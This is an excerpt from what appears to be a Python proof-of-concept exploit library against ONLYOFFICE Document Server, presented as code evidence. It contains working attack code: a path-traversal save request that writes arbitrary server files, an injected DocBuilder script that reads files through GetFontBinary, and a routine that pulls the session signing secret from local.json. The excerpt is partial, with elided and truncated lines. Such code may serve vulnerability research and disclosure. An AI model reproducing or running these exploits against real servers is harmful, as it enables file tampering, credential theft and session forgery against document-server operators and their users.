renamed-onlyoffice_common.py
Complete-save generated path traversalDocBuilder reads session signing secrets
SHA-256d49954dd17a05a0357eb53d8d3ca724f9f2cbf1a8edc9031277f2eae53f5213b
Evidence
1"""Shared transport, input and output handling for the ONLYOFFICE PoCs."""
2
3from __future__ import annotations
4
5import argparse
6import base64
7import binascii
8import hashlib
9import hmac
10import io
11import json
12import math
13import os
14import re
15import ssl
16import stat
17import sys
18import tempfile
19import time
20import uuid
21import xml.etree.ElementTree as ET
22import zipfile
23from http.server import ThreadingHTTPServer
24from pathlib import Path
25from urllib.parse import urljoin, urlsplit
26
27import requests
28import urllib3
29
30LOCAL_JSON = "/etc/onlyoffice/documentserver/local.json"
⋯4 lines
76:44… failed ({kind})")
77
78
79def status(message: str) -> None:
80 print(message, file=sys.stderr, flush=True)
81
82
⋯5 lines
347:36… sion JWT could not reserve a save key")
348 return key
349
350 def write_server_file(
351 self, token: str, document_key: str, save_key: str, target_path: str, payload: bytes
352 ) -> None:
353 if not payload:
354 raise ExploitError("empty writes are unsupported by the vulnerable save branch")
355 escape_path = "/" + "/".join(['..'] * 48 + [remote_path(target_path, "target path").lstrip("/")])
356 result = self.post_save(
357 token, {"id": document_key, "savekey": save_key, "format": escape_path, "savetype": 3}, payload
358 )
359 if result.get("status") != "ok" or result.get("data") != save_key:
⋯5 lines
385:2… -> bytes | None:
386 nonce = uuid.uuid4().hex
387 name, tag = f"demo-read-{nonce}.docx", f"DEMOFILE_{nonce}:"
388 script = f"""builder.CreateFile("docx");
389var bytes = native.GetFontBinary({json.dumps(path)});
390// GetFontBinary falls back to a default font when the requested path is absent.
391// A per-job nonexistent path detects that response without exporting font data.
392var fallback = native.GetFontBinary("/__r7_missing_{nonce}");
393var isFallb …
422:26… ILABLE":
423 if unavailable_ok:
424 return None
425 raise ExploitError(f"server file was unavailable or matched the default font fallback: {path}")
426 return bytes.fromhex(match[1])
427
428
429def recover_session_key(client: DocumentServer, token: str) -> bytes:
430 config_bytes = read_server_file(client, token, LOCAL_JSON)
431 try:
432 config = json.loads(config_bytes)
433 session = config["services"]["CoAuthoring"]["secret"]["session"]
434 except (KeyError, TypeError, ValueError, UnicodeError):
435 raise ExploitError(f"could not locate the session secret in {LOCAL_JSON}") from None
436 status(f"[+] read {LOCAL_JSON} through DocBuilder")
437 if isinstance(session, dict) and isinstance(session.get("string"), str) and session["string"]:
438 return session["string"].encode()
439 if isinstance(session, dict) and isinstanc …